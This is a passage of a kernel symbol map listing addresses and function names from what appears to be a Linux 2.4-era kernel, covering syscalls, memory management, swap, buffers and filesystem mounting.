10120814 T sys_rt_sigqueueinfo
10120848 t .L1161
101208ac T do_sigaction
101208ac t .L1172
101209d4 T do_sigaltstack
10120b10 T sys_sigpending
10120b2c T sys_sigprocmask
10120c80 T sys_rt_sigaction
10120d5c T sys_sgetmask
10120d6c T sys_ssetmask
10120dbc T sys_signal
10120dfc T kill_proc_info
10120e4c T notifier_chain_register
10120e90 T notifier_chain_unregister
10120ec4 T notifier_call_chain
10120f40 T register_reboot_notifier
10120f64 T unregister_reboot_notifier
10120f88 T sys_ni_syscall
10120f90 t proc_sel
10121020 T sys_setpriority
10121160 T sys_getpriority
101211f4 T sys_reboot
101213d8 T ctrl_alt_del
1012140c t .L766
10121428 T sys_setregid
10121428 t .L767
1012150c T sys_setgid
10121588 t set_user
10121604 T sys_setreuid
101217d4 T sys_setuid
10121920 T sys_setresuid
10121adc T sys_getresuid
10121b5c T sys_setresgid
10121c30 T sys_getresgid
10121cb0 T sys_setfsuid
10121d64 T sys_setfsgid
10121dcc T sys_times
10121e1c T sys_setpgid
10121f0c T sys_getpgid
10121f58 T sys_getpgrp
10121f68 T sys_getsid
10121fb4 T sys_setsid
10122020 T sys_getgroups
1012207c T sys_setgroups
101220fc t supplemental_group_member
10122134 T in_group_p
10122168 T in_egroup_p
1012219c T sys_newuname
101221fc t .L1382
10122218 t .L1385
10122228 T sys_sethostname
10122308 T sys_gethostname
10122394 t .L1402
101223b8 t .L1405
101223c8 T sys_setdomainname
101224a8 T sys_getrlimit
101224fc T sys_old_getrlimit
10122584 T sys_setrlimit
10122664 T getrusage
101228b8 T sys_getrusage
101228f8 T sys_umask
10122924 T sys_prctl
10122a34 T exec_usermodehelper
10122ac8 t .L652
10122b18 t .L658
10122b78 t .L665
10122bc8 t .L667
10122c04 t .L673
10122c54 t .L675
10122c94 t .L677
10122cc4 t .L679
10122cf4 t .L681
10122e8c t .L719
10122ea4 t .L720
10122ebc t .L721
10122ed4 t .L722
10122eec t .L723
10122f04 t .L724
10122f1c t .L725
10122f34 t .L726
10122f4c t .L727
10122f4c t ____call_usermodehelper
10122f8c t __call_usermodehelper
10122fd0 t .L734
10122fe8 t .L737
10122ff0 T call_usermodehelper
10123144 t .L744
10123158 T dev_probe_lock
10123158 t .L746
10123180 t .L749
10123198 T dev_probe_unlock
10123198 t .L750
101231c0 t .L753
101231d8 t .L755
101231dc t need_keventd
1012321c T current_is_keventd
10123260 T schedule_task
101232f4 t context_thread
101234a0 T flush_scheduled_tasks
1012356c T start_context_thread
10123598 T check_pgt_cache
101235c0 T clear_page_tables
1012363c t .L784
10123694 T copy_page_range
10123694 t .L789
10123820 t .L828
101238a4 t .L847
101238c0 T zap_page_range
10123aec t .L936
10123b2c t .L941
10123b48 t .L952
10123b5c t .L953
10123b60 t follow_page
10123bc0 T map_user_kiobuf
10123ca4 t .L965
10123d54 t .L1002
10123d74 t .L1012
10123e38 t .L997
10123e68 t .L1000
10123e80 t .L1013
10123ebc t .L1014
10123ef4 T unmap_kiobuf
10123ef4 t .L1015
10123f60 t .L1028
10123fc8 T lock_kiovec
10123fc8 t .L1036
101240e0 T unlock_kiovec
10124174 t .L1085
101241e0 T zeromap_page_range
101241e0 t .L1096
10124274 t .L1143
101242dc t .L1162
101243bc t .L1171
10124548 t .L1176
10124554 t .L1200
1012455c t .L1201
10124570 t .L1202
10124594 t .L1203
101245a8 t .L1146
101245c0 t .L1204
101245c8 t .L1205
101245d0 t .L1206
101245ec t .L1207
101245f0 T remap_page_range
10124694 t .L1258
10124708 t .L1277
101247f8 t .L1288
10124988 t .L1293
10124994 t .L1318
1012499c t .L1319
101249b0 t .L1320
101249d4 t .L1321
101249ec t .L1261
10124a04 t .L1322
10124a0c t .L1323
10124a14 t .L1324
10124a30 t .L1325
10124a34 t do_wp_page
10124ad4 t .L1392
10124af8 t .L1412
10124b04 t .L1424
10124b8c t .L1401
10124bc0 t .L1405
10124c28 t .L1427
10124c40 t .L1408
10124c64 t .L1428
10124c6c t .L1429
10124c74 t .L1430
10124c8c t .L1431
10124ca4 t .L1432
10124d04 t .L1364
10124d24 t .L1433
10124d3c t .L1434
10124d60 t .L1373
10124db4 t .L1379
10124de4 t .L1435
10124dfc t .L1382
10124e20 t .L1436
10124e28 t .L1437
10124e30 t .L1438
10124e48 t .L1439
10124e60 t .L1440
10124eb4 t vmtruncate_list
10124f2c t .L1447
10125004 t .L1450
10125018 t .L1483
10125020 t .L1484
10125028 t .L1485
10125040 t .L1486
10125084 t .L1462
10125120 t .L1465
10125134 t .L1487
1012513c t .L1488
10125144 t .L1489
10125160 t .L1490
10125164 T vmtruncate
10125218 t .L1491
10125288 t .L1518
101252a4 t .L1502
101252f4 T swapin_readahead
101252f4 t .L1519
1012545c t do_swap_page
10125540 t .L1554
101255b4 t .L1565
1012561c t do_anonymous_page
10125750 t do_no_page
10125830 t .L1576
1012588c t .L1593
10125890 T handle_mm_fault
101259e8 T make_pages_present
10125a94 T vm_enough_memory
10125afc T lock_vma_mappings
10125b00 T unlock_vma_mappings
10125b04 T sys_brk
10125b50 t .L797
10125bac t .L812
10125be4 t .L824
10125c64 T do_mmap_pgoff
10125c64 t .L825
10125eb0 t .L871
10125fa8 t .L890
10125fe8 t .L916
1012605c t .L893
10126074 t .L917
1012607c t .L918
10126084 t .L919
101260a0 t .L920
1012625c T get_shared_area
1012630c T get_unmapped_area
101263a0 t avl_rebalance
10126514 t avl_remove
101265ec T find_vma
10126684 T find_vma_prev
1012673c T find_extend_vma
10126838 t unmap_fixup
1012695c t .L1083
10126970 t .L1093
101269b4 t .L1095
101269c0 t .L1096
10126a0c t .L1097
10126a10 t free_pgtables
10126ab4 T do_munmap
10126d18 t .L1145
10126e34 t .L1148
10126e4c t .L1175
10126e54 t .L1176
10126e5c t .L1177
10126e78 t .L1178
10126e84 T sys_munmap
10126ec8 t .L1182
10126ef8 t .L1184
10126f20 t .L1186
10126f28 T do_brk
10126f28 t .L1187
101270d8 T build_mmap_avl
10127184 T exit_mmap
10127294 t .L1236
10127328 t .L1239
1012733c t .L1250
10127344 t .L1251
1012734c t .L1252
10127364 t .L1253
10127368 T __insert_vm_struct
10127444 t .L1269
101274d8 t .L1283
1012752c T insert_vm_struct
1012756c t add_page_to_hash_queue
101275ec T __remove_inode_page
10127688 T remove_inode_page
101276b0 t .L858
101276cc T __set_page_dirty
101276cc t .L864
10127718 t .L869
1012772c T invalidate_inode_pages
1012772c t .L871
1012776c t .L873
10127808 t .L887
10127838 t .L898
10127840 t .L899
10127840 t truncate_list_pages
101278c4 t .L920
10127998 t .L937
101279b8 t .L949
101279d0 t .L950
10127a1c T truncate_inode_pages
10127acc t writeout_one_page
10127b40 t waitfor_one_page
10127bcc t do_buffer_fdatasync
10127c8c t .L1000
10127d00 T generic_buffer_fdatasync
10127d00 t .L1009
10127dec T filemap_fdatasync
10127eb8 t .L1023
10127f28 t .L1029
10127f48 t .L1038
10127f50 T filemap_fdatawait
10127f50 t .L1039
10127ff4 T add_to_page_cache_locked
1012802c t .L1054
101280d8 T add_to_page_cache
101280d8 t .L1061
101281e8 t add_to_page_cache_unique
10128340 t read_cluster_nonblocking
10128484 t .L1117
1012854c t .L1129
10128550 T ___wait_on_page
10128640 t __lock_page
10128688 t .L1147
10128730 t .L1162
10128734 T lock_page
10128778 T __find_get_page
10128820 T __find_lock_page
10128840 t .L1180
10128914 t .L1197
10128940 t .L1204
10128958 t .L1205
10128978 t drop_behind
10128acc t generic_file_readahead
10128c78 t .L1258
10128c90 t .L1264
10128d30 t .L1280
10128da0 t .L1281
10128e40 T do_generic_file_read
10128f58 t .L1294
1012907c t .L1316
101290e8 t .L1295
101291e0 t .L1340
10129200 t .L1392
10129218 t .L1393
1012924c t .L1394
101292bc t .L1329
101292e8 t .L1395
10129300 t .L1396
10129318 t .L1397
101294a0 t file_read_actor
10129520 T generic_file_read
10129578 t file_send_actor
10129628 T sys_sendfile
101296d0 t .L1421
10129788 t .L1487
10129898 t nopage_sequential_readahead
10129a44 T filemap_nopage
10129aac t .L1509
10129c18 t .L1529
10129ce4 t .L1620
10129d78 t .L1589
10129e1c t .L1621
10129ecc t .L1622
10129f30 t .L1623
10129f54 t .L1552
10129f80 t .L1624
10129f98 T filemap_sync
10129f98 t .L1625
1012a024 t .L1675
1012a298 t .L1698
1012a2c8 t .L1721
1012a2e0 t .L1678
1012a2f8 t .L1722
1012a300 t .L1723
1012a308 t .L1724
1012a324 t .L1725
1012a328 T generic_file_mmap
1012a3d8 t msync_interval
1012a468 t .L1739
1012a4b8 t .L1742
1012a4d0 t .L1746
1012a4d8 t .L1747
1012a4e0 T sys_msync
1012a534 t .L1751
1012a560 t .L1769
1012a594 t .L1774
1012a658 t .L1775
1012a658 t madvise_fixup_start
1012a77c t madvise_fixup_end
1012a8a0 t madvise_fixup_middle
1012aa78 t madvise_behavior
1012aac0 t .L1832
1012aae0 t .L1833
1012aaf4 t .L1834
1012ab28 t madvise_willneed
1012ace4 t .L1861
1012adac t .L1875
1012ae34 t madvise_dontneed
1012aeac t .L1879
1012af64 t .L1882
1012af7c t .L1896
1012af84 t .L1897
1012af8c t .L1898
1012afa8 t .L1899
1012afac t madvise_vma
1012aff4 t .L1901
1012b008 t .L1914
1012b010 T sys_madvise
1012b010 t .L1915
1012b068 t .L1919
1012b094 t .L1936
1012b0c8 t .L1941
1012b178 t .L1942
1012b178 t mincore_page
1012b25c t mincore_vma
1012b3a4 T sys_mincore
1012b404 t .L1979
1012b430 t .L1996
1012b468 t .L2001
1012b528 T read_cache_page
1012b528 t .L2002
1012b57c t .L2017
1012b608 t .L2032
1012b684 t .L2050
1012b6a4 t .L2065
1012b6bc t .L2066
1012b710 t .L2039
1012b73c t .L2067
1012b754 t .L2068
1012b7c4 T grab_cache_page
1012b8dc T generic_file_write
1012b970 t .L2104
1012b994 t .L2107
1012b9b0 t .L2204
1012ba10 t .L2227
1012ba50 t .L2228
1012ba78 t .L2110
1012bab8 t .L2118
1012bad0 t .L2117
1012bbbc t .L2175
1012bc10 t .L2192
1012bcbc t .L2229
1012bd9c t .L2230
1012be10 t .L2231
1012be38 t .L2232
1012be60 t .L2233
1012be68 t .L2234
1012be68 t change_protection
1012bedc t .L745
1012c0e8 t .L748
1012c100 t .L790
1012c108 t .L791
1012c110 t .L792
1012c130 t .L793
1012c134 t mprotect_fixup
1012c4dc T sys_mprotect
1012c584 t .L860
1012c5f0 t .L876
1012c604 t .L887
1012c664 t .L888
1012c664 t mlock_fixup
1012c804 t .L777
1012c874 t .L800
1012ca0c t .L801
1012ca18 t do_mlock
1012cb44 T sys_mlock
1012cb8c t .L830
1012cc0c t .L838
1012cc34 t .L840
1012cc3c T sys_munlock
1012cc3c t .L841
1012cc7c t .L845
1012cccc t .L848
1012ccf0 t .L850
1012ccf8 t .L851
1012ccf8 t do_mlockall
1012cda4 T sys_mlockall
1012cde0 t .L872
1012ce10 t .L883
1012ce34 t .L887
1012ce78 T sys_munlockall
1012ce78 t .L888
1012ceac t .L892
1012cedc t .L895
1012cefc t .L897
1012cf04 t .L898
1012cf04 t move_one_page
1012d03c t move_page_tables
1012d094 t .L769
1012d0d8 t .L789
1012d1d8 t .L792
1012d1f0 t .L818
1012d1f8 t .L819
1012d200 t .L820
1012d21c t .L821
1012d2c8 t .L772
1012d2e0 t .L822
1012d2e8 t .L823
1012d2f0 t .L824
1012d30c t .L825
1012d310 T do_mremap
1012d65c t .L902
1012d680 t .L912
1012d748 T sys_mremap
1012d798 t .L916
1012d7dc t .L919
1012d808 t .L921
1012d810 T vmfree_area_pages
1012d810 t .L922
1012d9dc t .L765
1012d9f4 t .L773
1012d9fc T get_vm_area
1012d9fc t .L774
1012daa4 T vfree
1012dac8 t .L854
1012db10 t .L869
1012db30 t .L870
1012db34 T __vmalloc
1012dbc4 t .L908
1012dca4 t .L887
1012dd8c t .L909
1012ddf8 t .L910
1012ddfc T vread
1012de94 T vmalloc_area_pages
1012df58 t .L823
1012e0dc t .L938
1012e0e0 t kmem_cache_estimate
1012e1ac t kmem_slab_destroy
1012e2b8 T kmem_cache_create
1012e518 t .L756
1012e55c t .L759
1012e59c t .L765
1012e5e4 t .L787
1012e5ec t .L788
1012e5fc t .L789
1012e6ec t is_chained_kmem_cache
1012e724 t .L792
1012e778 t .L800
1012e79c t .L806
1012e7a4 t .L807
1012e7a4 t __kmem_cache_shrink
1012e840 T kmem_cache_shrink
1012e8ac T kmem_cache_destroy
1012e918 t .L841
1012e958 t .L844
1012e990 t .L847
1012e9c8 t .L849
1012e9f0 t .L856
1012e9f8 t .L857
1012ea18 t .L858
1012ea30 t .L859
1012ea44 t kmem_cache_grow
1012ed20 T kmem_cache_alloc
1012edb4 T kmalloc
1012eea0 T kmem_cache_free
1012ef94 T kfree
1012f08c T kmem_find_general_cachep
1012f0c4 T kmem_cache_reap
1012f0fc t .L1009
1012f198 t .L1056
1012f1bc t .L1071
1012f2f8 t .L1072
1012f32c t proc_getdata
1012f3a8 t .L1080
1012f490 t .L1101
1012f4d8 t .L1111
1012f500 t .L1112
1012f510 T slabinfo_read_proc
1012f570 T slabinfo_write_proc
1012f578 T age_page_up_nolock
1012f5bc T age_page_down_ageonly
1012f5cc T age_page_down_nolock
1012f5e8 t .L786
1012f5fc T age_page_up
1012f5fc t .L788
1012f640 T age_page_down
1012f65c t .L794
1012f670 T deactivate_page_nolock
1012f670 t .L796
1012f754 t .L812
1012f780 t .L821
1012f804 t .L834
1012f830 t .L835
1012f844 T deactivate_page
1012f85c T activate_page_nolock
1012f908 t .L848
1012f934 t .L857
1012f9bc t .L906
1012f9e8 t .L907
1012fa70 t .L871
1012fa9c t .L880
1012faec t .L908
1012fb18 t .L909
1012fb38 T activate_page
1012fb50 T lru_cache_add
1012fbb8 t .L928
1012fc0c t .L933
1012fc24 t .L944
1012fc3c t .L945
1012fc84 T __lru_cache_del
1012fd10 t .L959
1012fd70 t .L1007
1012fe28 t .L1008
1012fec8 t .L1009
1012fef4 T lru_cache_del
1012fef4 t .L1010
1012ff1c t .L1012
1012ff38 T recalculate_vm_stats
1012ff38 t .L1017
1012ff54 t try_to_swap_out
1012ffec t .L795
10130060 t .L872
10130064 t .L806
101300e0 t .L813
10130104 t .L823
10130114 t .L827
10130138 t .L831
10130178 t .L873
10130190 t .L874
1013019c t .L875
101301b4 t .L816
101301d8 t .L876
101301e0 t .L877
101301e8 t .L878
10130200 t .L879
1013022c t .L836
10130264 t .L880
101302ac t .L881
101302d4 t .L858
101302f4 t .L882
1013030c t .L883
10130324 t .L839
10130348 t .L884
10130350 t .L885
10130358 t .L886
10130370 t .L887
10130378 t .L888
10130378 t swap_out_vma
1013058c t swap_out_mm
1013062c t swap_out
101306dc t .L964
10130724 t .L990
1013072c T reclaim_page
1013084c t .L1009
10130878 t .L1018
101308b4 t .L992
101308cc t .L1084
10130934 t .L1120
1013095c t .L1121
101309fc t .L1033
10130a28 t .L1042
10130a88 t .L1122
10130ab0 t .L1123
10130b14 t .L1048
10130b80 t .L1072
10130ba4 t .L1076
10130be4 t .L1124
10130bfc t .L1125
10130c14 t .L1126
10130c48 t .L1127
10130c94 t .L1055
10130cb4 t .L1128
10130cc4 t .L1129
10130cf4 T page_launder
10130d54 t .L1131
10130e54 t .L1150
10130e80 t .L1159
10130ec4 t .L1132
10130f30 t .L1378
10130f90 t .L1379
10130fb8 t .L1380
101310dc t .L1168
10131150 t .L1290
1013117c t .L1299
101311e4 t .L1308
10131204 t .L1381
10131214 t .L1382
10131224 t .L1383
1013124c t .L1384
1013126c t .L1385
101312b4 t .L1175
101312d4 t .L1386
101312e4 t .L1387
1013136c t .L1193
101313f4 t .L1225
1013145c t .L1245
101314b4 t .L1388
101314c4 t .L1389
10131504 t .L1236
1013155c t .L1390
101315c8 t .L1209
10131620 t .L1391
10131670 t .L1392
10131708 t .L1260
10131734 t .L1269
10131798 t .L1278
101317cc t .L1393
101317dc t .L1394
10131804 t .L1395
10131878 T refill_inactive_scan
10131a1c T free_shortage
10131af4 T inactive_shortage
10131b5c t refill_inactive
10131ca4 t do_try_to_free_pages
10131d10 t .L1482
10131d4c t .L1487
10131d74 T kswapd
10131e0c t .L1492
10131e54 t .L1500
10131e94 t .L1513
10131ebc t .L1514
10131ecc t .L1515
10131ee4 T wakeup_kswapd
10131f9c t .L1516
10131fd8 t .L1532
10131fdc T try_to_free_pages
10132024 T kreclaimd
101320d0 t .L1553
101320fc t .L1564
10132118 t rw_swap_page_base
101321d4 t .L813
10132218 t .L825
10132334 T rw_swap_page
10132370 t .L831
101323b0 t .L838
101323f0 t .L844
10132410 t .L852
10132428 t .L853
10132440 t .L854
10132460 T rw_swap_page_nolock
10132510 t .L867
10132554 t .L873
10132574 t .L880
1013258c t .L881
101325ac t __free_pages_ok
101329e0 t rmqueue
10132d88 t __alloc_pages_limit
10132dc8 t .L903
10132e74 T __alloc_pages
10132e74 t .L922
10132f08 t .L929
10132f3c t .L934
10132f64 t .L930
10133060 t .L976
101330dc t .L998
10133188 t .L999
10133190 t .L993
101331d4 t .L1000
101331dc t .L1001
10133220 t .L1002
10133244 T __get_free_pages
1013328c T get_zeroed_page
101332dc T __free_pages
101332f4 t .L1012
10133328 T free_pages
10133328 t .L1017
10133398 T nr_free_pages
101333d4 T nr_inactive_clean_pages
10133410 T nr_free_buffer_pages
10133488 T show_free_areas_core
101335e8 T show_free_areas
10133608 t swap_writepage
10133630 T show_swap_cache_info
10133674 T add_to_swap_cache
101336c0 t .L771
10133764 T __delete_from_swap_cache
10133764 t .L780
101337e0 t .L797
10133838 T delete_from_swap_cache_nolock
10133838 t .L800
10133868 t .L802
101338c4 T delete_from_swap_cache
101338c4 t .L809
10133914 t .L816
10133948 T free_page_and_swap_cache
10133948 t .L821
10133984 t .L823
101339b4 t .L834
101339d8 t .L838
101339f8 t .L846
10133a10 t .L847
10133a1c t .L848
10133a54 T lookup_swap_cache
10133ac8 t .L853
10133b4c t .L884
10133bc0 t .L893
10133bf0 t .L874
10133c24 t .L894
10133c50 t .L863
10133c80 t .L895
10133c88 T read_swap_cache_async
10133c88 t .L896
10133ccc t .L901
10133d40 t .L908
10133d6c T __get_swap_page
10133de4 t .L876
10133ff8 t .L900
1013403c T __swap_free
10134070 t .L901
10134160 t .L927
10134174 t .L928
10134180 t unuse_vma
10134404 t unuse_process
10134478 t try_to_unuse
10134648 T sys_swapoff
101346ac t .L1064
10134874 t .L1106
10134954 T get_swaparea_info
10134a38 t .L1121
10134aa0 t .L1123
10134bbc t .L1147
10134bd0 T is_swap_partition
10134bd0 t .L1148
10134c18 T sys_swapon
10134d30 t .L1177
10134e08 t .L1185
10134e1c t .L1285
10134f14 t .L1286
10134f40 t .L1287
10135080 t .L1288
1013509c t .L1289
1013526c t .L1290
10135364 T si_swapinfo
10135448 T swap_duplicate
1013554c T swap_count
101355a4 t .L1337
10135600 t .L1341
10135604 T get_swaphandle_info
1013562c t .L1342
101356c8 t .L1355
101356e4 t .L1356
101356e8 T valid_swaphandles
10135788 T alloc_pages_node
101357c0 t int_sqrt
101357fc t badness
101358e8 t select_bad_process
10135964 T oom_kill
101359b8 t .L679
101359e8 t .L683
101359f4 T out_of_memory
10135a6c t shmem_swp_entry
10135b40 t shmem_free_swp
10135be0 t shmem_truncate_part
10135c28 t shmem_truncate
10135da0 t shmem_delete_inode
10135e04 t shmem_writepage
10135e80 t .L896
10135ec0 t .L908
10135efc t .L916
10135f50 t .L901
10135f68 t .L917
10135f80 T shmem_nopage
10135f80 t .L918
10135ffc t .L921
101360b0 t .L952
101360e0 t .L957
10136170 t .L975
10136188 t .L976
10136214 t .L938
10136280 t .L967
10136298 t .L977
10136300 t .L978
10136308 T shmem_get_inode
10136308 t .L979
10136464 t shmem_statfs
101364c4 t shmem_lookup
101364f4 t shmem_mknod
1013653c t .L1012
10136580 t .L1015
10136580 t shmem_mkdir
101365a0 t shmem_create
101365c0 t shmem_link
10136634 t .L1023
10136674 t .L1026
10136674 t shmem_empty
101366bc t shmem_unlink
1013670c t shmem_rename
10136760 t shmem_symlink
1013678c t .L1051
101367bc t .L1053
101367bc t shmem_mmap
10136840 t shmem_parse_options
101369ec t shmem_read_super
10136a40 t .L1102
10136ae4 t .L1103
10136ae8 t shmem_remount_fs
10136b88 t shmem_clear_swp
10136bf8 t shmem_unuse_inode
10136c70 t .L1145
10136ca8 t .L1152
10136d10 t .L1162
10136d1c t .L1163
10136d74 T shmem_unuse
10136dd8 T shmem_file_setup
10136f24 T shmem_zero_setup
10136fa8 T vfs_statfs
10137014 T sys_statfs
10137048 t .L674
10137094 t .L679
101370ac T sys_fstatfs
10137134 T do_truncate
10137180 t .L689
101371bc t .L691
101371e8 t .L693
101371f0 T sys_truncate
101371f0 t .L694
10137238 t .L720
10137280 t .L751
101373e0 T sys_ftruncate
1013753c T sys_truncate64
10137590 t .L791
101375d8 t .L822
10137738 T sys_ftruncate64
101378a0 T sys_utime
101378d4 t .L846
10137914 t .L901
101379cc T sys_utimes
101379f8 t .L904
10137a30 t .L915
10137aa4 T sys_access
10137b40 t .L932
10137b74 t .L941
10137be4 T sys_chdir
10137c58 t .L946
10137c94 t .L950
10137ca0 t .L964
10137cec t .L956
10137d58 t .L965
10137d70 T sys_fchdir
10137d70 t .L966
10137dc4 t .L971
10137e4c t .L978
10137eb4 t .L984
10137ecc T sys_chroot
10137ecc t .L985
10137f34 t .L990
10137f78 t .L1013
10137fe4 t .L1004
10138034 t .L1006
1013805c t .L1014
10138074 t .L1015
1013807c T sys_fchmod
10138134 T sys_chmod
10138160 t .L1028
10138198 t .L1037
101381ec t chown_common
10138214 t .L1040
10138300 t .L1052
10138304 T sys_chown
1013833c t .L1054
10138370 T sys_lchown
10138370 t .L1056
101383a8 t .L1058
101383dc T sys_fchown
101383dc t .L1060
10138440 T filp_open
1013848c t .L1063
101384ac T dentry_open
101384ac t .L1069
10138544 t .L1089
1013857c t .L1093
10138688 T get_unused_fd
10138840 T sys_open
10138958 T sys_creat
10138978 T filp_close
10138a0c T sys_close
10138aac T sys_vhangup
10138b00 T generic_read_dir
10138b08 T default_llseek
10138ba0 T sys_lseek
10138c54 T sys_llseek
10138d4c T sys_read
10138e58 T sys_write
10138f64 t do_readv_writev
101391dc T sys_readv
10139270 T sys_writev
10139304 T sys_pread
101393a4 t .L821
10139430 t .L832
1013944c T sys_pwrite
101394ec t .L835
10139578 t .L846
10139594 T get_device_list
10139644 t get_chrfops
101396c0 T register_chrdev
10139758 T unregister_chrdev
101397c0 T chrdev_open
10139830 T kdevname
10139870 T cdevname
101398d8 t sock_no_open
101398e0 T init_special_inode
10139988 T get_empty_filp
10139af4 T init_private_file
10139b90 T fput
10139cb0 t .L697
10139d0c T fget
10139d0c t .L703
10139d50 T put_filp
10139db8 T file_move
10139de4 T file_moveto
10139e0c T fs_may_remount_ro
10139e74 T __wait_on_buffer
10139f78 t sync_buffers
1013a264 T sync_dev
1013a29c T fsync_dev
1013a2e0 T sys_sync
1013a300 T file_fsync
1013a39c T sys_fsync
1013a3f8 t .L948
1013a440 t .L950
1013a478 t .L952
1013a484 T sys_fdatasync
1013a484 t .L953
1013a4e0 t .L961
1013a528 t .L963
1013a560 t .L965
1013a56c t .L966
1013a56c t __insert_into_lru_list
1013a5f0 t __remove_from_lru_list
1013a68c t __remove_from_free_list
1013a6e0 t __remove_from_queues
1013a724 t __insert_into_queues
1013a7c4 t put_last_free
1013a834 T get_hash_table
1013a8e8 T get_hardblocksize
1013a91c T buffer_insert_inode_queue
1013a960 t __remove_inode_queue
1013a97c T inode_has_buffers
1013a990 T __invalidate_buffers
1013aabc t .L1057
1013aaf0 t .L1071
1013ab0c T set_blocksize
1013ad6c t .L1106
1013ae08 t .L1121
1013ae1c t refill_freelist
1013ae60 T init_buffer
1013ae70 t end_buffer_io_async
1013af94 t .L1155
1013afdc t .L1169
1013b048 T fsync_inode_buffers
1013b200 T osync_inode_buffers
1013b224 t .L1204
1013b2c4 t .L1221
1013b2c8 T invalidate_inode_buffers
1013b31c T getblk
1013b368 t .L1233
1013b408 t .L1246
1013b488 t .L1255
1013b4d0 T balance_dirty_state
1013b4d0 t .L1256
1013b570 T balance_dirty
1013b59c T __mark_buffer_dirty
1013b5cc t .L1266
1013b5f4 T mark_buffer_dirty
1013b5f4 t .L1269
1013b624 t .L1271
1013b654 t .L1274
1013b654 t __refile_buffer
1013b6a0 t .L1280
1013b6d0 T refile_buffer
1013b6d0 t .L1283
1013b6e8 T __brelse
1013b71c t .L1286
1013b730 T __bforget
1013b730 t .L1290
1013b75c t .L1302
1013b7c0 T bread
1013b7c0 t .L1305
1013b840 t get_unused_buffer_head
1013b92c T set_bh_page
1013b990 t create_buffers
1013b9c8 t .L1334
1013bba8 t .L1371
1013bbdc t unmap_buffer
1013bc94 T block_flushpage
1013bcc4 t .L1383
1013bd80 t .L1399
1013bd80 t create_empty_buffers
1013be20 t unmap_underlying_metadata
1013beb8 t __block_write_full_page
1013befc t .L1417
1013bf50 t .L1424
1013c0c8 t .L1451
1013c104 t .L1465
1013c11c t .L1466
1013c150 t .L1467
1013c150 t __block_prepare_write
1013c200 t .L1475
1013c2cc t .L1510
1013c3c4 t .L1517
1013c404 t .L1518
1013c420 t __block_commit_write
1013c5a8 T block_read_full_page
1013c600 t .L1540
1013c74c t .L1588
1013c7c8 t .L1567
1013c7e8 t .L1603
1013c800 t .L1604
1013c920 T cont_prepare_write
1013c920 t .L1605
1013c9e4 t .L1618
1013ca0c t .L1607
1013cb4c t .L1672
1013cbc4 t .L1656
1013cc0c t .L1673
1013cc78 t .L1633
1013cca4 t .L1674
1013ccb4 t .L1675
1013cce0 T block_prepare_write
1013cd40 T generic_commit_write
1013cd94 t .L1683
1013cddc T block_truncate_page
1013cddc t .L1688
1013cf38 t .L1720
1013cfa4 t .L1738
1013d054 T block_write_full_page
1013d100 t .L1747
1013d13c t .L1772
1013d178 t .L1757
1013d19c t .L1761
1013d1d8 t .L1773
1013d224 t .L1774
1013d250 T generic_block_bmap
1013d288 t end_buffer_io_kiobuf
1013d324 t wait_kio
1013d484 T brw_kiovec
1013d810 T brw_page
1013d984 T block_symlink
1013da1c t .L1907
1013da80 t .L1914
1013db10 t grow_buffers
1013db4c t .L1953
1013dc50 t .L1937
1013dcac t .L1954
1013dcdc t .L1947
1013dd08 t .L1955
1013dd20 t .L1956
1013dd20 t sync_page_buffers
1013dd78 t .L1960
1013ddb8 T try_to_free_buffers
1013ddb8 t .L1967
1013ded0 t .L1982
1013df90 T show_buffers
1013df90 t .L1999
1013dfbc t flush_dirty_buffers
1013dfe8 t .L2049
1013e020 t .L2054
1013e0d8 t .L2076
1013e0fc t .L2077
1013e100 T wakeup_bdflush
1013e148 t sync_old_buffers
1013e194 T block_sync_page
1013e1c8 T sys_bdflush
1013e2a8 T bdflush
1013e338 t .L2137
1013e3a8 t .L2145
1013e3d4 t .L2154
1013e3e0 t .L2155
1013e3e4 T kupdate
1013e488 t .L2170
1013e4a4 t .L2171
1013e4c0 t .L2175
1013e524 t .L2192
1013e52c t .L2193
1013e534 t .L2194
1013e538 t get_filesystem
1013e570 t put_filesystem
1013e5a8 t find_filesystem
1013e5f8 T register_filesystem
1013e654 T unregister_filesystem
1013e694 t fs_index
1013e724 t fs_name
1013e7b4 t fs_maxindex
1013e7d4 T sys_sysfs
1013e7fc t .L897
1013e810 t .L905
1013e820 t .L906
1013e828 t .L907
1013e82c T get_filesystem_list
1013e8e4 T get_fs_type
1013e918 t add_vfsmnt
1013ea10 t .L939
1013ea48 t .L945
1013eb80 t .L967
1013eb94 t .L949
1013ebcc t .L968
1013ebe4 t .L969
1013ec04 t move_vfsmnt
1013ec94 t .L977
1013ed6c t .L988
1013eda4 t .L994
1013edd8 t .L995
1013edd8 t remove_vfsmnt
1013ee74 t .L998
1013eeb4 t .L1003
1013eeb4 t mangle
1013ef68 T get_filesystem_info
1013f03c t .L1040
1013f0a4 t .L1042
1013f3e8 t .L1080
1013f400 T __wait_on_super
1013f400 t .L1081
1013f460 t .L1084
1013f478 t .L1089
1013f4a0 T sync_supers
1013f4d8 t .L1093
1013f55c t .L1110
1013f584 T get_super
1013f604 T sys_ustat
1013f6a8 T get_empty_super
1013f6ec t .L1141
1013f7d0 t .L1155
1013f7d0 t read_super
1013f954 T get_unnamed_dev
1013f9b4 T put_unnamed_dev
1013f9d4 t .L1180
1013fa3c t .L1187
1013fa3c t get_sb_bdev
1013fb04 t .L1196
1013fb24 t .L1213
1013fb38 t .L1226
1013fb6c t .L1202
1013fc30 t .L1227
1013fc50 t .L1228
1013fc58 t get_sb_nodev
1013fca4 t .L1231
1013fd2c t .L1235
1013fd40 t .L1238
1013fd48 t .L1239
1013fd48 t get_sb_single
1013fd88 t .L1242
1013fdac t .L1243
1013fde8 t .L1246
1013fdf0 t .L1247
1013fdf0 t kill_super
1013ff18 t .L1261
1013ff40 t .L1262
1013ff40 t do_remount_sb
10140058 T kern_mount
101400fc T kern_umount
10140128 T may_umount
1014013c t do_umount
101401ac t .L1303
101401dc t .L1334
10140214 t .L1306
1014023c t .L1335
101402ec t .L1320
10140320 t .L1336
10140354 t .L1296
10140394 T sys_umount
10140394 t .L1337
10140404 t .L1358
1014043c t .L1366
1014048c t .L1355
101404bc t .L1357
101404d0 t .L1367
101404d8 t .L1368
101404fc T sys_oldumount
10140518 t mount_is_safe
1014054c t do_loopback
101405a4 t .L1381
101405ec t .L1384
101405f8 t .L1409
1014060c t .L1386
10140618 t .L1410
10140694 t .L1390
101406b8 t .L1392
101406ec t .L1397
10140708 t .L1399
10140730 t .L1411
10140738 t .L1412
10140740 t .L1413
1014076c t .L1414
10140774 t .L1415
1014077c t do_remount
101407f8 t .L1423
10140840 t .L1430
